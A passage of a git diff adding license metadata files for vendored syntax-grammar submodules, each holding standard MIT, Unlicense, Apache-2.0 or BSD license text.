+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/abap-cds-grammar.dep.yml b/vendor/licenses/git_submodule/abap-cds-grammar.dep.yml
new file mode 100644
index 0000000000..8d91ba1b29
--- /dev/null
+++ b/vendor/licenses/git_submodule/abap-cds-grammar.dep.yml
@@ -0,0 +1,34 @@
+---
+name: abap-cds-grammar
+version: dd803e6ad2eea202b537a87c0da0536b92f60d3e
+type: git_submodule
+homepage: https://github.com/FreHu/abap-cds-grammar
+license: unlicense
+licenses:
+- sources: LICENSE
+  text: |
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <http://unlicense.org>
+notices: []
diff --git a/vendor/licenses/git_submodule/abap.tmbundle.dep.yml b/vendor/licenses/git_submodule/abap.tmbundle.dep.yml
new file mode 100644
index 0000000000..924b0e8de1
--- /dev/null
+++ b/vendor/licenses/git_submodule/abap.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: abap.tmbundle
+version: a9b2efff4f4afa469d984353384f09e4ebd24055
+type: git_submodule
+homepage: https://github.com/pvl/abap.tmbundle
+license: permissive
+licenses:
+- sources: README.md
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/abl-tmlanguage.dep.yml b/vendor/licenses/git_submodule/abl-tmlanguage.dep.yml
new file mode 100644
index 0000000000..c5de9191ed
--- /dev/null
+++ b/vendor/licenses/git_submodule/abl-tmlanguage.dep.yml
@@ -0,0 +1,33 @@
+---
+name: abl-tmlanguage
+version: b9d03563f00aabdd1437f76584670d4f15c0367f
+type: git_submodule
+homepage: https://github.com/chriscamicas/abl-tmlanguage
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2016 ZaphyrVonGenevese
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: MIT
+notices: []
diff --git a/vendor/licenses/git_submodule/actionscript3-tmbundle.dep.yml b/vendor/licenses/git_submodule/actionscript3-tmbundle.dep.yml
new file mode 100644
index 0000000000..19d7ae2096
--- /dev/null
+++ b/vendor/licenses/git_submodule/actionscript3-tmbundle.dep.yml
@@ -0,0 +1,68 @@
+---
+name: actionscript3-tmbundle
+version: bb76f18706fdba78ffce2dd7d32ed3d2c061ba1a
+type: git_submodule
+homepage: https://github.com/simongregory/actionscript3-tmbundle
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright 2007-2010 Simon Gregory
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this project fall under
+    the following license:\n\n\t\tCopyright 2007-2010 Simon Gregory\n\t\t\n\t\tPermission
+    is hereby granted, free of charge, to any person obtaining a copy\n\t\tof this
+    software and associated documentation files (the \"Software\"), to deal\n\t\tin
+    the Software without restriction, including without limitation the rights\n\t\tto
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n\t\tcopies
+    of the Software, and to permit persons to whom the Software is\n\t\tfurnished
+    to do so, subject to the following conditions:\n\t\t\n\t\tThe above copyright
+    notice and this permission notice shall be included in\n\t\tall copies or substantial
+    portions of the Software.\n\t\t\n\t\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT
+    WARRANTY OF ANY KIND, EXPRESS OR\n\t\tIMPLIED, INCLUDING BUT NOT LIMITED TO THE
+    WARRANTIES OF MERCHANTABILITY,\n\t\tFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE\n\t\tAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
+    DAMAGES OR OTHER\n\t\tLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM,\n\t\tOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+    DEALINGS IN\n\t\tTHE SOFTWARE.\n\nAn exception is made for files in readable text
+    which contain their own license information, or files where an accompanying file
+    exists (in the same directory) with a “-license” suffix added to the base-name
+    name of the original file, and an extension of txt, html, or similar.\n\n[bundle_zip]:
+    http://github.com/simongregory/actionscript3-tmbundle/zipball/master\n[issue_tracker]:
+    http://github.com/simongregory/actionscript3.tmbundle/issues\n[repo]: http://github.com/simongregory/actionscript3.tmbundle/\n[repo_master]:
+    http://github.com/simongregory/actionscript3.tmbundle/tree/master\n[sg_blog]:
+    http://blog.simonregory.com\n[tm_conventions]: http://svn.textmate.org/trunk/Conventions.txt\n[tm_env_vars]:
+    http://manual.macromates.com/en/environment_variables\n[tm_mailing_list]: http://lists.macromates.com/listinfo/textmate\n[adobe_flash]:
+    http://www.adobe.com/products/flashplayer/\n[adobe_flash_tool]: http://www.adobe.com/products/flash/\n[flex_coding_conventions]:
+    http://opensource.adobe.com/wiki/display/flexsdk/Coding+Conventions\n[as3_wiki]:
+    http://en.wikipedia.org/wiki/ActionScript#ActionScript_3.0\n[flash_bundle]: http://github.com/simongregory/flash-tmbundle/tree/master\n[flex_sdk]:
+    http://www.adobe.com/products/flex/flexdownloads/\n[unix_path]: http://en.wikipedia.org/wiki/Environment_variable#Examples_of_UNIX_environment_variables\n[flex_docs]:
+    http://www.adobe.com/support/documentation/en/flex/\n[flex_docs_zip]: http://www.adobe.com/go/flex_documentation_zip\n[flash_player_archive]:
+    http://www.adobe.com/go/tn_14266\n\n[thomas_aylott]: http://subtlegradient.com/\n[theo]:
+    http://blog.iconara.net/2007/02/23/textmate-flex-tips/\n[mark_llobrera]: http://www.dirtystylus.com/blog/\n[joachim]:
+    http://www.4d.be/\n[daniel_parnell]: http://blog.danielparnell.com/?p=22\n[specialunderwear]:
+    http://github.com/specialunderwear\n[kristoferjoseph]: http://github.com/kristoferjoseph\n[lucasdupin]:
+    http://github.com/lucasdupin\n[gabriel_laet]: http://github.com/gabriel-laet\n[leo_soto]:
+    http://code.google.com/p/flex-compiler-shell-daemon/\n[jeremy_sachs]: http://www.rezmason.net/\n[luke_daley]:
+    http://github.com/alkemist"
+notices: []
diff --git a/vendor/licenses/git_submodule/ada.tmbundle.dep.yml b/vendor/licenses/git_submodule/ada.tmbundle.dep.yml
new file mode 100644
index 0000000000..e20cadb4da
--- /dev/null
+++ b/vendor/licenses/git_submodule/ada.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: ada.tmbundle
+version: 59bfc50221b2dcdbdb8a98117f44e66e1c35ffcf
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/agda-github-syntax-highlighting.dep.yml b/vendor/licenses/git_submodule/agda-github-syntax-highlighting.dep.yml
new file mode 100644
index 0000000000..ac57688020
--- /dev/null
+++ b/vendor/licenses/git_submodule/agda-github-syntax-highlighting.dep.yml
@@ -0,0 +1,31 @@
+---
+name: agda-github-syntax-highlighting
+version: ba7aef428c0b900675696de17e1ee6bc9d7e684e
+type: git_submodule
+homepage: https://github.com/agda/agda-github-syntax-highlighting
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2020 Agda Github Community
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/aidl-language.dep.yml b/vendor/licenses/git_submodule/aidl-language.dep.yml
new file mode 100644
index 0000000000..7572eac527
--- /dev/null
+++ b/vendor/licenses/git_submodule/aidl-language.dep.yml
@@ -0,0 +1,212 @@
+---
+name: aidl-language
+version: c2c0074c593954bcd27036db118aee6a13abfa20
+type: git_submodule
+homepage: https://github.com/google/aidl-language
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2-
+
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/ampl.dep.yml b/vendor/licenses/git_submodule/ampl.dep.yml
new file mode 100644
index 0000000000..7803eb7b33
--- /dev/null
+++ b/vendor/licenses/git_submodule/ampl.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: ampl
+version: 2e399ebf4aec6b5b81f01d4cbee965f77852ce86
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2013 jackdunnnz
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/android-system-tools.dep.yml b/vendor/licenses/git_submodule/android-system-tools.dep.yml
new file mode 100644
index 0000000000..851f33bb8c
--- /dev/null
+++ b/vendor/licenses/git_submodule/android-system-tools.dep.yml
@@ -0,0 +1,31 @@
+---
+name: android-system-tools
+version: 307f6c9c0b0b305d6cf72480a37a72d0f86077f1
+type: git_submodule
+homepage: https://github.com/flimberger/android-system-tools
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2019 Florian Limberger
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/ant.tmbundle.dep.yml b/vendor/licenses/git_submodule/ant.tmbundle.dep.yml
new file mode 100644
index 0000000000..cd2531249c
--- /dev/null
+++ b/vendor/licenses/git_submodule/ant.tmbundle.dep.yml
@@ -0,0 +1,31 @@
+---
+type: git_submodule
+name: ant.tmbundle
+version: 156b6945262da1c53c1d83a411dbac126f06195d
+license: mit
+licenses:
+- text: "If not otherwise specified (see below), files in this project fall under
+    the following license:\n\nCopyright 2009-2010 Simon Gregory\n\nPermission is hereby
+    granted, free of charge, to any person obtaining a copy\nof this software and
+    associated documentation files (the \"Software\"), to deal\nin the Software without
+    restriction, including without limitation the rights\nto use, copy, modify, merge,
+    publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit
+    persons to whom the Software is\nfurnished to do so, subject to the following
+    conditions:\n\nThe above copyright notice and this permission notice shall be
+    included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE
+    IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING
+    BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR
+    PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS
+    BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF
+    CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE
+    OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\t\tTHE SOFTWARE.\n\nAn exception
+    is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar.\n\n[ant_bundle_zip]: http://github.com/textmate/ant.tmbundle/zipball/master\n[ant_download]:
+    http://ant.apache.org/bindownload.cgi\n[ant_style_guide]: http://wiki.apache.org/ant/TheElementsOfAntStyle\n[ant_wiki]:
+    http://wiki.apache.org/ant/FrontPage\n[apache_ant]: http://ant.apache.org/\n[issue_tracker]:
+    http://github.com/textmate/ant.tmbundle/issues\n[repo]: http://github.com/textmate/ant.tmbundle/\n[sg_blog]:
+    http://blog.simonregory.com\n[tm_conventions]: http://svn.textmate.org/trunk/Conventions.txt\n[tm_mailing_list]:
+    http://lists.macromates.com/listinfo/textmate\n[tm_env_vars]: http://manual.macromates.com/en/environment_variables"
+notices: []
diff --git a/vendor/licenses/git_submodule/antlr.tmbundle.dep.yml b/vendor/licenses/git_submodule/antlr.tmbundle.dep.yml
new file mode 100644
index 0000000000..000cd4eab4
--- /dev/null
+++ b/vendor/licenses/git_submodule/antlr.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: antlr.tmbundle
+version: 7f07385abbdbd716ebb5b15ad8190347554192cf
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/apache.tmbundle.dep.yml b/vendor/licenses/git_submodule/apache.tmbundle.dep.yml
new file mode 100644
index 0000000000..abbc9864f2
--- /dev/null
+++ b/vendor/licenses/git_submodule/apache.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: apache.tmbundle
+version: a12e895533700b0200cca20f169be63727efff8c
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/apex-tmLanguage.dep.yml b/vendor/licenses/git_submodule/apex-tmLanguage.dep.yml
new file mode 100644
index 0000000000..182d4571c8
--- /dev/null
+++ b/vendor/licenses/git_submodule/apex-tmLanguage.dep.yml
@@ -0,0 +1,39 @@
+---
+name: apex-tmLanguage
+version: 88b3b7175cc0be3edf7e22cf8eecc32911740b05
+type: git_submodule
+homepage: https://github.com/forcedotcom/apex-tmLanguage.git
+license: bsd-3-clause
+licenses:
+- sources: LICENSE
+  text: |
+    License for modifications and not otherwise marked:
+
+    Copyright (c) 2018, Salesforce.com, Inc.
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without modification,
+    are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice, this
+    list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright notice, this
+    list of conditions and the following disclaimer in the documentation and/or
+    other materials provided with the distribution.
+
+    * Neither the name of Salesforce.com nor the names of its contributors may be
+    used to endorse or promote products derived from this software without specific
+    prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+    ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+    WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
